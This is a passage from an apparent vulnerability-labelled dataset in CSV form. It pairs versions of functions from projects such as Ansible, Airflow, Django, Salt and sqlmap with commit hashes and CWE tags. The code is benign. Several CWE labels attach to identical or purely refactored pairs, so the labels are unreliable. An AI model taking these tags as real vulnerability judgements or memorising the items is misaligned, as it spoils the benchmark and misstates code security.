                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=t.copy(),
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api_fastapi/core_api/routes/public/dag_run.py,0,"def clear_dag_run(
    dag_id: str,
    dag_run_id: str,
    body: DAGRunClearBody,
    request: Request,
    session: SessionDep,
) -> TaskInstanceCollectionResponse | DAGRunResponse:
    dag_run = session.scalar(select(DagRun).filter_by(dag_id=dag_id, run_id=dag_run_id))
    if dag_run is None:
        raise HTTPException(
            status.HTTP_404_NOT_FOUND,
            f""The DagRun with dag_id: `{dag_id}` and run_id: `{dag_run_id}` was not found"",
        )

    dag: DAG = request.app.state.dag_bag.get_dag(dag_id)
    start_date = dag_run.logical_date
    end_date = dag_run.logical_date

    if body.dry_run:
        task_instances = dag.clear(
            start_date=start_date,
            end_date=end_date,
            task_ids=None,
            only_failed=False,
            dry_run=True,
            session=session,
        )

        return TaskInstanceCollectionResponse(
            task_instances=cast(list[TaskInstanceResponse], task_instances),
            total_entries=len(task_instances),
        )
    else:
        dag.clear(
            start_date=start_date,
            end_date=end_date,
            task_ids=None,
            only_failed=False,
            session=session,
        )
        dag_run_cleared = session.scalar(select(DagRun).where(DagRun.id == dag_run.id))
        return dag_run_cleared",CWE-Unknown,apache/airflow,cce2faf3a7c90fb116e6aec55e99aa2b543ce843,"def clear_dag_run(
    dag_id: str,
    dag_run_id: str,
    body: DAGRunClearBody,
    request: Request,
    session: SessionDep,
) -> TaskInstanceCollectionResponse | DAGRunResponse:
    dag_run = session.scalar(select(DagRun).filter_by(dag_id=dag_id, run_id=dag_run_id))
    if dag_run is None:
        raise HTTPException(
            status.HTTP_404_NOT_FOUND,
            f""The DagRun with dag_id: `{dag_id}` and run_id: `{dag_run_id}` was not found"",
        )

    dag: DAG = request.app.state.dag_bag.get_dag(dag_id)
    start_date = dag_run.logical_date
    end_date = dag_run.logical_date

    if body.dry_run:
        task_instances = dag.clear(
            start_date=start_date,
            end_date=end_date,
            task_ids=None,
            only_failed=False,
            dry_run=True,
            session=session,
        )

        return TaskInstanceCollectionResponse(
            task_instances=cast(list[TaskInstanceResponse], task_instances),
            total_entries=len(task_instances),
        )
    else:
        dag.clear(
            start_date=dag_run.start_date,
            end_date=dag_run.end_date,
            task_ids=None,
            only_failed=False,
            session=session,
        )
        dag_run_cleared = session.scalar(select(DagRun).where(DagRun.id == dag_run.id))
        return dag_run_cleared"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=None,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                t = TaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # FIXME: all of this code is very similar (if not identical) to that in 
                    #        plugins/strategy/__init__.py, and should be unified to avoid
                    #        patches only being applied to one or the other location
                    if task_include:
                        # handle relative includes by walking up the list of parent include
                        # tasks and checking the relative result to see if it exists
                        parent_include = task_include
                        cumulative_path = None
                        while parent_include is not None:
                            parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                            if cumulative_path is None:
                                cumulative_path = parent_include_dir
                            elif not os.path.isabs(cumulative_path):
                                cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                            include_target = templar.template(t.args['_raw_params'])
                            if t._role:
                                new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                                include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                            else:
                                include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                            if os.path.exists(include_file):
                                break
                            else:
                                parent_include = parent_include._task_include
                    else:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=block,
                        task_include=t,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task)."" \
                                "" Mixing tag specify styles is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: send callback here somehow...
                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            elif use_handlers:
                t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)
            else:
                t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,09fa05373bf0aafda61874c9ad5b0a668f3827b6,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                t = TaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # FIXME: all of this code is very similar (if not identical) to that in 
                    #        plugins/strategy/__init__.py, and should be unified to avoid
                    #        patches only being applied to one or the other location
                    if task_include:
                        # handle relative includes by walking up the list of parent include
                        # tasks and checking the relative result to see if it exists
                        parent_include = task_include
                        cumulative_path = None
                        while parent_include is not None:
                            parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                            if cumulative_path is None:
                                cumulative_path = parent_include_dir
                            elif not os.path.isabs(cumulative_path):
                                cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                            include_target = templar.template(t.args['_raw_params'])
                            if t._role:
                                new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                                include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                            else:
                                include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                            if os.path.exists(include_file):
                                break
                            else:
                                parent_include = parent_include._task_include
                    else:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=block,
                        task_include=t,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task)."" \
                                "" Mixing tag specify styles is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: send callback here somehow...
                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            elif use_handlers:
                t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)
            else:
                t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/sessions.py,0,"def mount(self, prefix, adapter):
        """"""Registers a connection adapter to a prefix.

        Adapters are sorted in descending order by prefix length.
        """"""
        self.adapters[prefix] = adapter
        keys_to_move = [k for k in self.adapters if len(k) < len(prefix)]

        for key in keys_to_move:
            self.adapters[key] = self.adapters.pop(key)",,psf/requests,8e227aeb89cb6a340d0f0f9bcd0bd0051e8881b9,"def mount(self, prefix, adapter):
        """"""Registers a connection adapter to a prefix.

        Adapters are sorted in descending order by key length.
        """"""
        self.adapters[prefix] = adapter
        keys_to_move = [k for k in self.adapters if len(k) < len(prefix)]

        for key in keys_to_move:
            self.adapters[key] = self.adapters.pop(key)"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_assets.py,1,"def test_should_respond_404(self, test_client):
        dag_id = ""not_exists""

        response = test_client.get(
            f""/public/dags/{dag_id}/assets/queuedEvent"",
        )

        assert response.status_code == 404
        assert response.json()[""detail""] == ""Queue event with dag_id: `not_exists` was not found""",CWE-703,apache/airflow,6c3caa6f311ea17df02a800d1d65788e5e549f44,"def test_should_respond_404(self, test_client):
        dag_id = ""not_exists""

        response = test_client.get(
            f""/public/dags/{dag_id}/assets/queuedEvent"",
        )

        assert response.status_code == 404
        assert response.json()[""detail""] == ""Queue event with dag_id: `not_exists` was not found"""
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/xcom_arg.py,0,"def get_task_map_length(self, run_id: str, *, session: Session) -> int | None:
        """"""Inspect length of pushed value for task-mapping.

        This is used to determine how many task instances the scheduler should
        create for a downstream using this XComArg for task-mapping.

        *None* may be returned if the depended XCom has not been pushed.
        """"""
        raise NotImplementedError()",CWE-Unknown,apache/airflow,7b5b3470c13dedbd699e0335548bdba7083cb29e,"def get_task_map_length(self, run_id: str, *, session: Session) -> int | None:
        """"""Inspect length of pushed value for task-mapping.

        This is used to determine how many task instances the scheduler should
        create for a downstream using this XComArg for task-mapping.

        *None* may be returned if the depended XCom has not been pushed.
        """"""
        raise NotImplementedError()"
,UNKNOWN,UNKNOWN,tests/pipelines/test_train_step.py,1,"def test_train_steps_writes_model_pkl_and_card(tmp_pipeline_root_path, use_tuning):
    with mock.patch.dict(
        os.environ, {_MLFLOW_PIPELINES_EXECUTION_DIRECTORY_ENV_VAR: str(tmp_pipeline_root_path)}
    ):
        train_step_output_dir = setup_train_dataset(tmp_pipeline_root_path)
        train_step = setup_train_step(tmp_pipeline_root_path, use_tuning)
        train_step.run(str(train_step_output_dir))

    assert (train_step_output_dir / ""model/model.pkl"").exists()
    assert (train_step_output_dir / ""card.html"").exists()",CWE-703,mlflow/mlflow,48ba470bfc1691ae308563ca6706965170be95d0,"def test_train_steps_writes_model_pkl_and_card(tmp_pipeline_root_path, use_tuning):
    with mock.patch.dict(
        os.environ, {_MLFLOW_PIPELINES_EXECUTION_DIRECTORY_ENV_VAR: str(tmp_pipeline_root_path)}
    ):
        train_step_output_dir = setup_train_dataset(tmp_pipeline_root_path)
        train_step = setup_train_step(tmp_pipeline_root_path, use_tuning)
        train_step._run(str(train_step_output_dir))

    assert (train_step_output_dir / ""model/model.pkl"").exists()
    assert (train_step_output_dir / ""card.html"").exists()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/decorators/__init__.py,0,"def run_command(dependency, mod_name, func_name):
        full_name = '{0}.{1}'.format(mod_name, func_name)
        log.trace('Running \'%s\' for \'%s\'', dependency, full_name)
        if IS_WINDOWS:
            args = salt.utils.args.shlex_split(dependency, posix=False)
        else:
            args = salt.utils.args.shlex_split(dependency)
        log.trace('Command after shlex_split: %s', args)
        proc = subprocess.Popen(args,
                                shell=False,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.STDOUT)
        output = proc.communicate()[0]
        retcode = proc.returncode
        log.trace('Output from \'%s\': %s', dependency, output)
        log.trace('Retcode from \'%s\': %d', dependency, retcode)
        return retcode",,saltstack/salt,c6069520f1cd16560958adf85cad87770c356dba,"def run_command(dependency, mod_name, func_name):
        full_name = '{0}.{1}'.format(mod_name, func_name)
        log.trace('Running \'%s\' for \'%s\'', dependency, full_name)
        if IS_WINDOWS:
            args = salt.utils.args.shlex_split(dependency, posix=False)
        else:
            args = salt.utils.args.shlex_split(dependency)
        log.trace('Command after shlex_split: %s', args)
        proc = subprocess.Popen(args,
                                shell=False,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.STDOUT)
        output = proc.communicate()[0]
        retcode = proc.returncode
        log.trace('Output from \'%s\': %s', dependency, output)
        log.trace('Retcode from \'%s\': %d', dependency, retcode)
        return retcode"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/kona.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= code >= 400 and re.search(r""AkamaiGHost"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code >= 400 and re.search(r""AkamaiGHost"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/util.py,0,"def refusing_port():
    """"""Returns a local port number that will refuse all connections.

    Return value is (cleanup_func, port); the cleanup function
    must be called to free the port to be reused.
    """"""
    # On travis-ci, port numbers are reassigned frequently. To avoid
    # collisions with other tests, we use an open client-side socket's
    # ephemeral port number to ensure that nothing can listen on that
    # port.
    server_socket, port = bind_unused_port()
    server_socket.setblocking(1)
    client_socket = socket.socket()
    client_socket.connect((""127.0.0.1"", port))
    conn, client_addr = server_socket.accept()
    conn.close()
    server_socket.close()
    return (client_socket.close, client_addr[1])",CWE-Unknown,tornadoweb/tornado,3a293354cebc0b28c6b709bf9202775f30242759,"def refusing_port():
    """"""Returns a local port number that will refuse all connections.

    Return value is (cleanup_func, port); the cleanup function
    must be called to free the port to be reused.
    """"""
    # On travis-ci, port numbers are reassigned frequently. To avoid
    # collisions with other tests, we use an open client-side socket's
    # ephemeral port number to ensure that nothing can listen on that
    # port.
    server_socket, port = bind_unused_port()
    client_socket = socket.socket()
    client_socket.connect((""127.0.0.1"", port))
    conn, client_addr = server_socket.accept()
    conn.close()
    server_socket.close()
    return (client_socket.close, client_addr[1])"
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def set_up_test_model(self, app_label, second_model=False, third_model=False,
            related_model=False, mti_model=False, proxy_model=False, manager_model=False,
            unique_together=False, options=False, db_table=None, index_together=False):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        table_names = [
            # Start with ManyToMany tables
            '_pony_stables', '_pony_vans',
            # Then standard model tables
            '_pony', '_stable', '_van',
        ]
        tables = [(app_label + table_name) for table_name in table_names]
        with connection.cursor() as cursor:
            table_names = connection.introspection.table_names(cursor)
            connection.disable_constraint_checking()
            sql_delete_table = connection.schema_editor().sql_delete_table
            with transaction.atomic():
                for table in tables:
                    if table in table_names:
                        cursor.execute(sql_delete_table % {
                            ""table"": connection.ops.quote_name(table),
                        })
            connection.enable_constraint_checking()

        # Make the ""current"" state
        model_options = {
            ""swappable"": ""TEST_SWAP_MODEL"",
            ""index_together"": [[""weight"", ""pink""]] if index_together else [],
            ""unique_together"": [[""pink"", ""weight""]] if unique_together else [],
        }
        if options:
            model_options[""permissions""] = [(""can_groom"", ""Can groom"")]
        if db_table:
            model_options[""db_table""] = db_table
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options=model_options,
        )]
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"", models.CASCADE)),
                    (""friend"", models.ForeignKey(""self"", models.CASCADE))
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        'Pony',
                        models.CASCADE,
                        auto_created=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))
        if manager_model:
            operations.append(migrations.CreateModel(
                ""Food"",
                fields=[
                    (""id"", models.AutoField(primary_key=True)),
                ],
                managers=[
                    (""food_qs"", FoodQuerySet.as_manager()),
                    (""food_mgr"", FoodManager(""a"", ""b"")),
                    (""food_mgr_kwargs"", FoodManager(""x"", ""y"", 3, 4)),
                ]
            ))

        return self.apply_operations(app_label, ProjectState(), operations)",CWE-89,django/django,c2e70f02653519db3a49cd48f5158ccad7434d25,"def set_up_test_model(self, app_label, second_model=False, third_model=False,
            related_model=False, mti_model=False, proxy_model=False, manager_model=False,
            unique_together=False, options=False, db_table=None, index_together=False):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        table_names = [
            # Start with ManyToMany tables
            '_pony_stables', '_pony_vans',
            # Then standard model tables
            '_pony', '_stable', '_van',
        ]
        tables = [(app_label + table_name) for table_name in table_names]
        with connection.cursor() as cursor:
            table_names = connection.introspection.table_names(cursor)
            connection.disable_constraint_checking()
            sql_delete_table = connection.schema_editor().sql_delete_table
            with transaction.atomic():
                for table in tables:
                    if table in table_names:
                        cursor.execute(sql_delete_table % {
                            ""table"": connection.ops.quote_name(table),
                        })
            connection.enable_constraint_checking()

        # Make the ""current"" state
        model_options = {
            ""swappable"": ""TEST_SWAP_MODEL"",
            ""index_together"": [[""weight"", ""pink""]] if index_together else [],
            ""unique_together"": [[""pink"", ""weight""]] if unique_together else [],
        }
        if options:
            model_options[""permissions""] = [(""can_groom"", ""Can groom"")]
        if db_table:
            model_options[""db_table""] = db_table
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options=model_options,
        )]
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"")),
                    (""friend"", models.ForeignKey(""self""))
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        auto_created=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                        to='Pony',
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))
        if manager_model:
            operations.append(migrations.CreateModel(
                ""Food"",
                fields=[
                    (""id"", models.AutoField(primary_key=True)),
                ],
                managers=[
                    (""food_qs"", FoodQuerySet.as_manager()),
                    (""food_mgr"", FoodManager(""a"", ""b"")),
                    (""food_mgr_kwargs"", FoodManager(""x"", ""y"", 3, 4)),
                ]
            ))

        return self.apply_operations(app_label, ProjectState(), operations)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/credit_cards.py,0,"def grep(self, request, response):
        '''
        Plugin entry point, search for the credit cards.
        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None
        '''
        if response.is_text_or_html() and response.get_code() == 200 \
                and response.get_clear_text_body() is not None:

            found_cards = self._find_card(response.get_clear_text_body())

            for card in found_cards:
                desc = 'The URL: ""%s"" discloses the credit card number: ""%s""'
                desc = desc % (response.get_url(), card)
                
                v = Vuln('Credit card number disclosure', desc,
                         severity.LOW, response.id, self.get_name())

                v.set_url(response.get_url())
                v.add_to_highlight(card)
                
                self.kb_append_uniq(self, 'credit_cards', v, 'URL')",,andresriancho/w3af,85fd739c87de52a31f8c9c71fb4c77ba1107745b,"def grep(self, request, response):
        '''
        Plugin entry point, search for the credit cards.
        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None
        '''
        if response.is_text_or_html() and response.get_code() == 200 \
                and response.get_clear_text_body() is not None:

            found_cards = self._find_card(response.get_clear_text_body())

            for card in found_cards:
                desc = 'The URL: ""%s"" discloses the credit card number: ""%s""'
                desc = desc % (response.get_url(), card)
                
                v = Vuln('Credit card number disclosure', desc,
                         severity.LOW, response.id, self.get_name())

                v.set_url(response.get_url())
                v.add_to_highlight(card)
                
                kb.kb.append(self, 'credit_cards', v)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/taskmods.py,0,"def virtual_process_from_physical_offset(addr_space, offset):
        """""" Returns a virtual process from a physical offset in memory """"""
        # Since this is a physical offset, we find the process
        flat_addr_space = utils.load_as(addr_space.get_config(), astype = 'physical')
        flateproc = obj.Object(""_EPROCESS"", offset, flat_addr_space)
        # then use the virtual address of its first thread to get into virtual land
        # (Note: the addr_space and flat_addr_space use the same config, so should have the same profile)
        tleoffset = addr_space.profile.get_obj_offset(""_ETHREAD"", ""ThreadListEntry"")

        # start out with the member offset given to us from the profile 
        offsets = [tleoffset]

        # if (and only if) we're dealing with 64-bit Windows 7 SP1 
        # then add the other commonly seen member offset to the list 
        meta = addr_space.profile.metadata
        major = meta.get(""major"", 0)
        minor = meta.get(""minor"", 0)
        build = meta.get(""build"", 0)
        version = (major, minor, build)

        if meta.get(""memory_model"") == ""64bit"" and version == (6, 1, 7601):
            offsets.append(tleoffset + 8)

        ## use the member offset from the profile 
        for ofs in offsets:
            ethread = obj.Object(""_ETHREAD"", offset = flateproc.ThreadListHead.Flink.v() - ofs, vm = addr_space)
            # and ask for the thread's process to get an _EPROCESS with a virtual address space
            virtual_process = ethread.owning_process()
            # Sanity check the bounce. See Issue 154.
            if virtual_process and offset == addr_space.vtop(virtual_process.obj_offset):
                return virtual_process

        return obj.NoneObject(""Unable to bounce back from virtual _ETHREAD to virtual _EPROCESS"")",,volatilityfoundation/volatility,769e85f2f78e950295cb7175d0ac0475c996e9a9,"def virtual_process_from_physical_offset(addr_space, offset):
        """""" Returns a virtual process from a physical offset in memory """"""
        # Since this is a physical offset, we find the process
        flat_addr_space = utils.load_as(addr_space.get_config(), astype = 'physical')
